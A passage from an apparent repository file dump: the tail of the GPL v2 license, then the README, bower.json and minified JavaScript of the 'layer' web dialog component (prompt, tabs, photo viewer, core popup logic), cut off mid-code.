the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {description}\n    Copyright (C) 2015  贤心\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  {signature of Ty Coon}, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License."
  },
  {
    "path": "antSword/static/libs/layer/README.md",
    "content": "\n## 简要\nlayer是一款近年来口碑非常不错的web弹层组件，她具备全方位的解决方案，致力于服务各个水平段的开发人员，您的页面会轻松地拥有丰富友好的操作体验。\n\n在与同类组件的比较中，layer总是能轻易获胜。她尽可能地在以更少的代码展现更强健的功能，且格外注重性能的提升、易用和实用性，正因如此，越来越多的开发者将媚眼投上了layer。layer兼容了包括IE6在内的所有主流浏览器。 她数量可观的接口，使得您可以自定义太多您需要的风格，每一种弹层模式各具特色，皆广受欢迎。当然，这种“王婆卖瓜”的陈述听起来总是有点难受，因此你需要进一步了解她是否真的如你所愿。\n\n[文档与演示](http://layer.layui.com/) \n\n## 愿景\n致力于打造国内最盛行的弹层组件，为web开发提供强劲动力。\n\n## 现状\n从两年前初出茅庐，到后来成为小众组件，再发展到今天，已为数以万计的人所熟知。\n据不完全统计，截至到2015年09月01号，layer已服务于10万余家web平台。\n\n\n## 备注\n[官网](http://layer.layui.com/)、[更新日志](https://github.com/sentsin/layer/blob/2.x/CHANGELOG.md)、[社区交流](http://fly.layui.com)"
  },
  {
    "path": "antSword/static/libs/layer/bower.json",
    "content": "{\n  \"name\": \"layer\",\n  \"main\": \"src/layer.js\",\n  \"version\": \"2.1.0\",\n  \"homepage\": \"https://github.com/sentsin/layer\",\n  \"authors\": [\n    \"sentsin <xu@sentsin.com>\"\n  ],\n  \"description\": \"弹窗组件\",\n  \"moduleType\": [\n    \"amd\",\n    \"globals\"\n  ],\n  \"keywords\": [\n    \"layer\",\n    \"layui\",\n    \"dialog\"\n  ],\n  \"license\": \"LGPL\"\n}\n"
  },
  {
    "path": "antSword/static/libs/layer/extend/layer.ext.js",
    "content": "/*! layer弹层组件拓展类 */\n;!function(){layer.use(\"skin/layer.ext.css\",function(){layer.layui_layer_extendlayerextjs=!0});var a=layer.cache||{},b=function(b){return a.skin?\" \"+a.skin+\" \"+a.skin+\"-\"+b:\"\"};layer.prompt=function(a,c){a=a||{},\"function\"==typeof a&&(c=a);var d,e=2==a.formType?'<textarea class=\"layui-layer-input\">'+(a.value||\"\")+\"</textarea>\":function(){return'<input type=\"'+(1==a.formType?\"password\":\"text\")+'\" class=\"layui-layer-input\" value=\"'+(a.value||\"\")+'\">'}();return layer.open($.extend({btn:[\"&#x786E;&#x5B9A;\",\"&#x53D6;&#x6D88;\"],content:e,skin:\"layui-layer-prompt\"+b(\"prompt\"),success:function(a){d=a.find(\".layui-layer-input\"),d.focus()},yes:function(b){var e=d.val();\"\"===e?d.focus():e.length>(a.maxlength||500)?layer.tips(\"&#x6700;&#x591A;&#x8F93;&#x5165;\"+(a.maxlength||500)+\"&#x4E2A;&#x5B57;&#x6570;\",d,{tips:1}):c&&c(e,b,d)}},a))},layer.tab=function(a){a=a||{};var c=a.tab||{};return layer.open($.extend({type:1,skin:\"layui-layer-tab\"+b(\"tab\"),title:function(){var a=c.length,b=1,d=\"\";if(a>0)for(d='<span class=\"layui-layer-tabnow\">'+c[0].title+\"</span>\";a>b;b++)d+=\"<span>\"+c[b].title+\"</span>\";return d}(),content:'<ul class=\"layui-layer-tabmain\">'+function(){var a=c.length,b=1,d=\"\";if(a>0)for(d='<li class=\"layui-layer-tabli xubox_tab_layer\">'+(c[0].content||\"no content\")+\"</li>\";a>b;b++)d+='<li class=\"layui-layer-tabli\">'+(c[b].content||\"no  content\")+\"</li>\";return d}()+\"</ul>\",success:function(a){var b=a.find(\".layui-layer-title\").children(),c=a.find(\".layui-layer-tabmain\").children();b.on(\"mousedown\",function(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0;var b=$(this),d=b.index();b.addClass(\"layui-layer-tabnow\").siblings().removeClass(\"layui-layer-tabnow\"),c.eq(d).show().siblings().hide()})}},a))},layer.photos=function(a,c,d){function e(a,b,c){var d=new Image;d.onload=function(){d.onload=null,b(d)},d.onerror=function(a){d.onerror=null,c(a)},d.src=a}var f={};if(a=a||{},a.photos){var g=a.photos.constructor===Object,h=g?a.photos:{},i=h.data||[],j=h.start||0;if(f.imgIndex=j+1,g){if(0===i.length)return void layer.msg(\"&#x6CA1;&#x6709;&#x56FE;&#x7247;\")}else{var k=$(a.photos),l=k.find(a.img||\"img\");if(0===l.length)return;if(c||k.find(h.img||\"img\").each(function(b){var c=$(this);i.push({alt:c.attr(\"alt\"),pid:c.attr(\"layer-pid\"),src:c.attr(\"layer-src\")||c.attr(\"src\"),thumb:c.attr(\"src\")}),c.on(\"click\",function(){layer.photos($.extend(a,{photos:{start:b,data:i,tab:a.tab},full:a.full}),!0)})}),!c)return}f.imgprev=function(a){f.imgIndex--,f.imgIndex<1&&(f.imgIndex=i.length),f.tabimg(a)},f.imgnext=function(a,b){f.imgIndex++,f.imgIndex>i.length&&(f.imgIndex=1,b)||f.tabimg(a)},f.keyup=function(a){if(!f.end){var b=a.keyCode;a.preventDefault(),37===b?f.imgprev(!0):39===b?f.imgnext(!0):27===b&&layer.close(f.index)}},f.tabimg=function(b){i.length<=1||(h.start=f.imgIndex-1,layer.close(f.index),layer.photos(a,!0,b))},f.event=function(){f.bigimg.hover(function(){f.imgsee.show()},function(){f.imgsee.hide()}),f.bigimg.find(\".layui-layer-imgprev\").on(\"click\",function(a){a.preventDefault(),f.imgprev()}),f.bigimg.find(\".layui-layer-imgnext\").on(\"click\",function(a){a.preventDefault(),f.imgnext()}),$(document).on(\"keyup\",f.keyup)},f.loadi=layer.load(1,{shade:\"shade\"in a?!1:.9,scrollbar:!1}),e(i[j].src,function(c){layer.close(f.loadi),f.index=layer.open($.extend({type:1,area:function(){var b=[c.width,c.height],d=[$(window).width()-100,$(window).height()-100];return!a.full&&b[0]>d[0]&&(b[0]=d[0],b[1]=b[0]*d[1]/b[0]),[b[0]+\"px\",b[1]+\"px\"]}(),title:!1,shade:.9,shadeClose:!0,closeBtn:!1,move:\".layui-layer-phimg img\",moveType:1,scrollbar:!1,moveOut:!0,shift:5*Math.random()|0,skin:\"layui-layer-photos\"+b(\"photos\"),content:'<div class=\"layui-layer-phimg\"><img src=\"'+i[j].src+'\" alt=\"'+(i[j].alt||\"\")+'\" layer-pid=\"'+i[j].pid+'\"><div class=\"layui-layer-imgsee\">'+(i.length>1?'<span class=\"layui-layer-imguide\"><a href=\"javascript:;\" class=\"layui-layer-iconext layui-layer-imgprev\"></a><a href=\"javascript:;\" class=\"layui-layer-iconext layui-layer-imgnext\"></a></span>':\"\")+'<div class=\"layui-layer-imgbar\" style=\"display:'+(d?\"block\":\"\")+'\"><span class=\"layui-layer-imgtit\"><a href=\"javascript:;\">'+(i[j].alt||\"\")+\"</a><em>\"+f.imgIndex+\"/\"+i.length+\"</em></span></div></div></div>\",success:function(b,c){f.bigimg=b.find(\".layui-layer-phimg\"),f.imgsee=b.find(\".layui-layer-imguide,.layui-layer-imgbar\"),f.event(b),a.tab&&a.tab(i[j],b)},end:function(){f.end=!0,$(document).off(\"keyup\",f.keyup)}},a))},function(){layer.close(f.loadi),layer.msg(\"&#x5F53;&#x524D;&#x56FE;&#x7247;&#x5730;&#x5740;&#x5F02;&#x5E38;<br>&#x662F;&#x5426;&#x7EE7;&#x7EED;&#x67E5;&#x770B;&#x4E0B;&#x4E00;&#x5F20;&#xFF1F;\",{time:3e4,btn:[\"下一张\",\"不看了\"],yes:function(){i.length>1&&f.imgnext(!0,!0)}})})}}}();"
  },
  {
    "path": "antSword/static/libs/layer/layer.js",
    "content": "/*! layer-v2.1 弹层组件 License LGPL  http://layer.layui.com/ By 贤心 */\n;!function(a,b){\"use strict\";var c,d,e={getPath:function(){var a=document.scripts,b=a[a.length-1],c=b.src;if(!b.getAttribute(\"merge\"))return c.substring(0,c.lastIndexOf(\"/\")+1)}(),enter:function(a){13===a.keyCode&&a.preventDefault()},config:{},end:{},btn:[\"&#x786E;&#x5B9A;\",\"&#x53D6;&#x6D88;\"],type:[\"dialog\",\"page\",\"iframe\",\"loading\",\"tips\"]},f={v:\"2.1\",ie6:!!a.ActiveXObject&&!a.XMLHttpRequest,index:0,path:e.getPath,config:function(a,b){var d=0;return a=a||{},f.cache=e.config=c.extend(e.config,a),f.path=e.config.path||f.path,\"string\"==typeof a.extend&&(a.extend=[a.extend]),f.use(\"skin/layer.css\",a.extend&&a.extend.length>0?function g(){var c=a.extend;f.use(c[c[d]?d:d-1],d<c.length?function(){return++d,g}():b)}():b),this},use:function(a,b,d){var e=c(\"head\")[0],a=a.replace(/\\s/g,\"\"),g=/\\.css$/.test(a),h=document.createElement(g?\"link\":\"script\"),i=\"layui_layer_\"+a.replace(/\\.|\\//g,\"\");return f.path?(g&&(h.rel=\"stylesheet\"),h[g?\"href\":\"src\"]=/^http:\\/\\//.test(a)?a:f.path+a,h.id=i,c(\"#\"+i)[0]||e.appendChild(h),function j(){(g?1989===parseInt(c(\"#\"+i).css(\"width\")):f[d||i])?function(){b&&b();try{g||e.removeChild(h)}catch(a){}}():setTimeout(j,100)}(),this):void 0},ready:function(a,b){var d=\"function\"==typeof a;return d&&(b=a),f.config(c.extend(e.config,function(){return d?{}:{path:a}}()),b),this},alert:function(a,b,d){var e=\"function\"==typeof b;return e&&(d=b),f.open(c.extend({content:a,yes:d},e?{}:b))},confirm:function(a,b,d,g){var h=\"function\"==typeof b;return h&&(g=d,d=b),f.open(c.extend({content:a,btn:e.btn,yes:d,cancel:g},h?{}:b))},msg:function(a,d,g){var i=\"function\"==typeof d,j=e.config.skin,k=(j?j+\" \"+j+\"-msg\":\"\")||\"layui-layer-msg\",l=h.anim.length-1;return i&&(g=d),f.open(c.extend({content:a,time:3e3,shade:!1,skin:k,title:!1,closeBtn:!1,btn:!1,end:g},i&&!e.config.skin?{skin:k+\" layui-layer-hui\",shift:l}:function(){return d=d||{},(-1===d.icon||d.icon===b&&!e.config.skin)&&(d.skin=k+\" \"+(d.skin||\"layui-layer-hui\")),d}()))},load:function(a,b){return f.open(c.extend({type:3,icon:a||0,shade:.01},b))},tips:function(a,b,d){return f.open(c.extend({type:4,content:[a,b],closeBtn:!1,time:3e3,maxWidth:210},d))}},g=function(a){var b=this;b.index=++f.index,b.config=c.extend({},b.config,e.config,a),b.creat()};g.pt=g.prototype;var h=[\"layui-layer\",\".layui-layer-title\",\".layui-layer-main\",\".layui-layer-dialog\",\"layui-layer-iframe\",\"layui-layer-content\",\"layui-layer-btn\",\"layui-layer-close\"];h.anim=[\"layui-anim\",\"layui-anim-01\",\"layui-anim-02\",\"layui-anim-03\",\"layui-anim-04\",\"layui-anim-05\",\"layui-anim-06\"],g.pt.config={type:0,shade:.3,fix:!0,move:h[1],title:\"&#x4FE1;&#x606F;\",offset:\"auto\",area:\"auto\",closeBtn:1,time:0,zIndex:19891014,maxWidth:360,shift:0,icon:-1,scrollbar:!0,tips:2},g.pt.vessel=function(a,b){var c=this,d=c.index,f=c.config,g=f.zIndex+d,i=\"object\"==typeof f.title,j=f.maxmin&&(1===f.type||2===f.type),k=f.title?'<div class=\"layui-layer-title\" style=\"'+(i?f.title[1]:\"\")+'\">'+(i?f.title[0]:f.title)+\"</div>\":\"\";return f.zIndex=g,b([f.shade?'<div class=\"layui-layer-shade\" id=\"layui-layer-shade'+d+'\" times=\"'+d+'\" style=\"'+(\"z-index:\"+(g-1)+\"; background-color:\"+(f.shade[1]||\"#000\")+\"; opacity:\"+(f.shade[0]||f.shade)+\"; filter:alpha(opacity=\"+(100*f.shade[0]||100*f.shade)+\");\")+'\"></div>':\"\",'<div class=\"'+h[0]+\" \"+(h.anim[f.shift]||\"\")+(\" layui-layer-\"+e.type[f.type])+(0!=f.type&&2!=f.type||f.shade?\"\":\" layui-layer-border\")+\" \"+(f.skin||\"\")+'\" id=\"'+h[0]+d+'\" type=\"'+e.type[f.type]+'\" times=\"'+d+'\" showtime=\"'+f.time+'\" conType=\"'+(a?\"object\":\"string\")+'\" style=\"z-index: '+g+\"; width:\"+f.area[0]+\";height:\"+f.area[1]+(f.fix?\"\":\";position:absolute;\")+'\">'+(a&&2!=f.type?\"\":k)+'<div class=\"layui-layer-content'+(0==f.type&&-1!==f.icon?\" layui-layer-padding\":\"\")+(3==f.type?\" layui-layer-loading\"+f.icon:\"\")+'\">'+(0==f.type&&-1!==f.icon?'<i class=\"layui-layer-ico layui-layer-ico'+f.icon+'\"></i>':\"\")+(1==f.type&&a?\"\":f.content||\"\")+'</div><span class=\"layui-layer-setwin\">'+function(){var a=j?'<a class=\"layui-layer-min\" href=\"javascript:;\"><cite></cite></a><a class=\"layui-layer-ico layui-layer-max\" href=\"javascript:;\"></a>':\"\";return f.closeBtn&&(a+='<a class=\"layui-layer-ico '+h[7]+\" \"+h[7]+(f.title?f.closeBtn:4==f.type?\"1\":\"2\")+'\" href=\"javascript:;\"></a>'),a}()+\"</span>\"+(f.btn?function(){var a=\"\";\"string\"==typeof f.btn&&(f.btn=[f.btn]);for(var b=0,c=f.btn.length;c>b;b++)a+='<a class=\"'+h[6]+b+'\">'+f.btn[b]+\"</a>\";return'<div class=\"'+h[6]+'\">'+a+\"</div>\"}():\"\")+\"</div>\"],k),c},g.pt.creat=function(){var a=this,b=a.config,g=a.index,i=b.content,j=\"object\"==typeof i;switch(\"string\"==typeof b.area&&(b.area=\"auto\"===b.area?[\"\",\"\"]:[b.area,\"\"]),b.type){case 0:b.btn=\"btn\"in b?b.btn:e.btn[0],f.closeAll(\"dialog\");break;case 2:var i=b.content=j?b.content:[b.content||\"http://layer.layui.com\",\"auto\"];b.content='<iframe scrolling=\"'+(b.content[1]||\"auto\")+'\" allowtransparency=\"true\" id=\"'+h[4]+g+'\" name=\"'+h[4]+g+'\" onload=\"this.className=\\'\\';\" class=\"layui-layer-load\" frameborder=\"0\" src=\"'+b.content[0]+'\"></iframe>';break;case 3:b.title=!1,b.closeBtn=!1,-1===b.icon&&0===b.icon,f.closeAll(\"loading\");break;case 4:j||(b.content=[b.content,\"body\"]),b.follow=b.content[1],b.content=b.content[0]+'<i class=\"layui-layer-TipsG\"></i>',b.title=!1,b.shade=!1,b.fix=!1,b.tips=\"object\"==typeof b.tips?b.tips:[b.tips,!0],b.tipsMore||f.closeAll(\"tips\")}a.vessel(j,function(d,e){c(\"body\").append(d[0]),j?function(){2==b.type||4==b.type?function(){c(\"body\").append(d[1])}():function(){i.parents(\".\"+h[0])[0]||(i.show().addClass(\"layui-layer-wrap\").wrap(d[1]),c(\"#\"+h[0]+g).find(\".\"+h[5]).before(e))}()}():c(\"body\").append(d[1]),a.layero=c(\"#\"+h[0]+g),b.scrollbar||h.html.css(\"overflow\",\"hidden\").attr(\"layer-full\",g)}).auto(g),2==b.type&&f.ie6&&a.layero.find(\"iframe\").attr(\"src\",i[0]),c(document).off(\"keydown\",e.enter).on(\"keydown\",e.enter),a.layero.on(\"keydown\",function(a){c(document).off(\"keydown\",e.enter)}),4==b.type?a.tips():a.offset(),b.fix&&d.on(\"resize\",function(){a.offset(),(/^\\d+%$/.test(b.area[0])||/^\\d+%$/.test(b.area[1]))&&a.auto(g),4==b.type&&a.tips()}),b.time<=0||setTimeout(function(){f.close(a.index)},b.time),a.move().callback()},g.pt.auto=function(a){function b(a){a=g.find(a),a.height(i[1]-j-k-2*(0|parseFloat(a.css(\"padding\"))))}var e=this,f=e.config,g=c(\"#\"+h[0]+a);\"\"===f.area[0]&&f.maxWidth>0&&(/MSIE 7/.test(navigator.userAgent)&&f.btn&&g.width(g.innerWidth()),g.outerWidth()>f.maxWidth&&g.width(f.maxWidth));var i=[g.innerWidth(),g.innerHeight()],j=g.find(h[1]).outerHeight()||0,k=g.find(\".\"+h[6]).outerHeight()||0;switch(f.type){case 2:b(\"iframe\");break;default:\"\"===f.area[1]?f.fix&&i[1]>=d.height()&&(i[1]=d.height(),b(\".\"+h[5])):b(\".\"+h[5])}return e},g.pt.offset=function(){var a=this,b=a.config,c=a.layero,e=[c.outerWidth(),c.outerHeight()],f=\"object\"==typeof b.offset;a.offsetTop=(d.height()-e[1])/2,a.offsetLeft=(d.width()-e[0])/2,f?(a.offsetTop=b.offset[0],a.offsetLeft=b.offset[1]||a.offsetLeft):\"auto\"!==b.offset&&(a.offsetTop=b.offset,\"rb\"===b.offset&&(a.offsetTop=d.height()-e[1],a.offsetLeft=d.width()-e[0])),b.fix||(a.offsetTop=/%$/.test(a.offsetTop)?d.height()*parseFloat(a.offsetTop)/100:parseFloat(a.offsetTop),a.offsetLeft=/%$/.test(a.offsetLeft)?d.width()*parseFloat(a.offsetLeft)/100:parseFloat(a.offsetLeft),a.offsetTop+=d.scrollTop(),a.offsetLeft+=d.scrollLeft()),c.css({top:a.offsetTop,left:a.offsetLeft})},g.pt.tips=function(){var a=this,b=a.config,e=a.layero,f=[e.outerWidth(),e.outerHeight()],g=c(b.follow);g[0]||(g=c(\"body\"));var i={width:g.outerWidth(),height:g.outerHeight(),top:g.offset().top,left:g.offset().left},j=e.find(\".layui-layer-TipsG\"),k=b.tips[0];b.tips[1]||j.remove(),i.autoLeft=function(){i.left+f[0]-d.width()>0?(i.tipLeft=i.left+i.width-f[0],j.css({right:12,left:\"auto\"})):i.tipLeft=i.left},i.where=[function(){i.autoLeft(),i.tipTop=i.top-f[1]-10,j.removeClass(\"layui-layer-TipsB\").addClass(\"layui-layer-TipsT\").css(\"border-right-color\",b.tips[1])},function(){i.tipLeft=i.left+i.width+10,i.tipTop=i.top,j.removeClass(\"layui-layer-TipsL\").addClass(\"layui-layer-TipsR\").css(\"border-bottom-color\",b.tips[1])},function(){i.autoLeft(),i.tipTop=i.top+i.height+10,j.removeClass(\"layui-layer-TipsT\").addClass(\"layui-layer-TipsB\").css(\"border-right-color\",b.tips[1])},function(){i.tipLeft=i.left-f[0]-10,i.tipTop=i.top,j.removeClass(\"layui-layer-TipsR\").addClass(\"layui-layer-TipsL\").css(\"border-bottom-color\",b.tips[1])}],i.where[k-1](),1===k?i.top-(d.scrollTop()+f[1]+16)<0&&i.where[2]():2===k?d.width()-(i.left+i.width+f[0]+16)>0||i.where[3]():3===k?i.top-d.scrollTop()+i.height+f[1]+16-d.height()>0&&i.where[0]():4===k&&f[0]+16-i.left>0&&i.where[1](),e.find(\".\"+h[5]).css({\"background-color\":b.tips[1],\"padding-right\":b.closeBtn?\"30px\":\"\"}),e.css({left:i.tipLeft,top:i.tipTop})},g.pt.move=function(){var a=this,b=a.config,e={setY:0,moveLayer:function(){var a=e.layero,b=parseInt(a.css(\"margin-left\")),c=parseInt(e.move.css(\"left\"));0===b||(c-=b),\"fixed\"!==a.css(\"position\")&&(c-=a.parent().offset().left,e.setY=0),a.css({left:c,top:parseInt(e.move.css(\"top\"))-e.setY})}},f=a.layero.find(b.move);return b.move&&f.attr(\"move\",\"ok\"),f.css({cursor:b.move?\"move\":\"auto\"}),c(b.move).on(\"mousedown\",function(a){if(a.preventDefault(),\"ok\"===c(this).attr(\"move\")){e.ismove=!0,e.layero=c(this).parents(\".\"+h[0]);var f=e.layero.offset().left,g=e.layero.offset().top,i=e.layero.outerWidth()-6,j=e.layero.outerHeight()-6;c(\"#layui-layer-moves\")[0]||c(\"body\").append('<div id=\"layui-layer-moves\" class=\"layui-layer-moves\" style=\"left:'+f+\"px; top:\"+g+\"px; width:\"+i+\"px; height:\"+j+'px; z-index:2147483584\"></div>'),e.move=c(\"#layui-layer-moves\"),b.moveType&&e.move.css({visibility:\"hidden\"}),e.moveX=a.pageX-e.move.position().left,e.moveY=a.pageY-e.move.position().top,\"fixed\"!==e.layero.css(\"position\")||(e.setY=d.scrollTop())}}),c(document).mousemove(function(a){if(e.ismove){var c=a.pageX-e.moveX,f=a.pageY-e.moveY;if(a.preventDefault(),!b.moveOut){e.setY=d.scrollTop();var g=d.width()-e.move.outerWidth(),h=e.setY;0>c&&(c=0),c>g&&(c=g),h>f&&(f=h),f>d.height()-e.move.outerHeight()+e.setY&&(f=d.height()-e.move.outerHeight()+e.setY)}e.move.css({left:c,top:f}),b.moveType&&e.moveLayer(),c=f=g=h=null}}).mouseup(function(){try{e.ismove&&(e.moveLayer(),e.move.remove(),b.moveEnd&&b.moveEnd()),e.ismove=!1}catch(a){e.ismove=!1}}),a},g.pt.callback=function(){function a(){var a=g.cancel&&g.cancel(b.index);a===!1||f.close(b.index)}var b=this,d=b.layero,g=b.config;b.openLayer(),g.success&&(2==g.type?d.find(\"iframe\").on(\"load\",function(){g.success(d,b.index)}):g.success(d,b.index)),f.ie6&&b.IE6(d),d.find(\".\"+h[6]).children(\"a\").on(\"click\",function(){var e=c(this).index();g[\"btn\"+(e+1)]&&g[\"btn\"+(e+1)](b.index,d),0===e?g.yes?g.yes(b.index,d):f.close(b.index):1===e?a():g[\"btn\"+(e+1)]||f.close(b.index)}),d.find(\".\"+h[7]).on(\"click\",a),g.shadeClose&&c(\"#layui-layer-shade\"+b.index).on(\"click\",function(){f.close(b.index)}),d.find(\".layui-layer-min\").on(\"click\",function(){f.min(b.index,g),g.min&&g.min(d)}),d.find(\".layui-layer-max\").on(\"click\",function(){c(this).hasClass(\"layui-layer-maxmin\")?(f.restore(b.index),g.restore&&g.restore(d)):(f.full(b.index,g),g.full&&g.full(d))}),g.end&&(e.end[b.index]=g.end)},e.reselect=function(){c.each(c(\"select\"),function(a,b){var d=c(this);d.parents(\".\"+h[0])[0]||1==d.attr(\"layer\")&&c(\".\"+h[0]).length<1&&d.removeAttr(\"layer\").show(),d=null})},g.pt.IE6=function(a){function b(){a.css({top:f+(e.config.fix?d.scrollTop():0)})}var e=this,f=a.offset().top;b(),d.scroll(b),c(\"select\").each(function(a,b){var d=c(this);d.parents(\".\"+h[0])[0]||\"none\"===d.css(\"display\")||d.attr({layer:\"1\"}).hide(),d=null})},g.pt.openLayer=function(){var a=this;f.zIndex=a.config.zIndex,f.setTop=function(a){var b=function(){f.zIndex++,a.css(\"z-index\",f.zIndex+1)};return f.zIndex=parseInt(a[0].style.zIndex),a.on(\"mousedown\",b),f.zIndex}},e.record=function(a){var b=[a.outerWidth(),a.outerHeight(),a.position().top,a.position().left+parseFloat(a.css(\"margin-left\"))];a.find(\".layui-layer-max\").addClass(\"layui-layer-maxmin\"),a.attr({area:b})},e.rescollbar=function(a){h.html.attr(\"layer-full\")==a&&(h.html[0].style.removeProperty?h.html[0].style.removeProperty(\"overflow\"):h.html[0].style.removeAttribute(\"overflow\"),h.html.removeAttr(\"layer-full\"))},a.layer=f,f.getChildFrame=function(a,b){return b=b||c(\".\"+h[4]).attr(\"times\"),c(\"#\"+h[0]+b).find(\"iframe\").contents().find(a)},f.getFrameIndex=function(a){return c(\"#\"+a).parents(\".\"+h[4]).attr(\"times\")},f.iframeAuto=function(a){if(a){var b=f.getChildFrame(\"html\",a).outerHeight(),d=c(\"#\"+h[0]+a),e=d.find(h[1]).outerHeight()||0,g=d.find(\".\"+h[6]).outerHeight()||0;d.css({height:b+e+g}),d.find(\"iframe\").css({height:b})}},f.iframeSrc=function(a,b){c(\"#\"+h[0]+a).find(\"iframe\").attr(\"src\",b)},f.style=function(a,b){var d=c(\"#\"+h[0]+a),f=d.attr(\"type\"),g=d.find(h[1]).outerHeight()||0,i=d.find(\".\"+h[6]).outerHeight()||0;(f===e.type[1]||f===e.type[2])&&(d.css(b),f===e.type[2]&&d.find(\"iframe\").css({height:parseFloat(b.height)-g-i}))},f.min=function(a,b){var d=c(\"#\"+h[0]+a),g=d.find(h[1]).outerHeight()||0;e.record(d),f.style(a,{width:180,height:g,overflow:\"hidden\"}),d.find(\".layui-layer-min\").hide(),\"page\"===d.attr(\"type\")&&d.find(h[4]).hide(),e.rescollbar(a)},f.restore=function(a){var b=c(\"#\"+h[0]+a),d=b.attr(\"area\").split(\",\");b.attr(\"type\");f.style(a,{width:parseFloat(d[0]),height:parseFloat(d[1]),top:parseFloat(d[2]),left:parseFloat(d[3]),overflow:\"visible\"}),b.find(\".layui-layer-max\").removeClass(\"layui-layer-maxmin\"),b.find(\".layui-layer-min\").show(),\"page\"===b.attr(\"type\")&&b.find(h[4]).show(),e.rescollbar(a)},f.full=function(a){var b,g=c(\"#\"+h[0]+a);e.record(g),h.html.attr(\"layer-full\")||h.html.css(\"overflow\",\"hidden\").attr(\"layer-full\",a),clearTimeout(b),b=setTimeout(function(){var b=\"fixed\"===g.css(\"position\");f.style(a,{top:b?0:d.scrollTop(),left:b?0:d.scrollLeft(),width:d.width(),height:d.height()}),g.find(\".layui-layer-min\").hide()},100)},f.title=function(a,b){var d=c(\"#\"+h[0]+(b||f.index)).find(h[1]);d.html(a)},f.close=function(a){var b=c(\"#\"+h[0]+a),d=b.attr(\"type\");if(b[0]){if(d===e.type[1]&&\"object\"===b.attr(\"conType\")){b.children(\":not(.\"+h[5]+\")\").remove();for(var g=0;2>g;g++)b.find(\".layui-layer-wrap\").unwrap().hide()}else{if(d===e.type[2])try{var i=c(\"#\"+h[4]+a)[0];i.contentWindow.document.write(\"\"),i.contentWindow.close(),b.find(\".\"+h[5])[0].removeChild(i)}catch(j){}b[0].innerHTML=\"\",b.remove()}c(\"#layui-layer-moves, 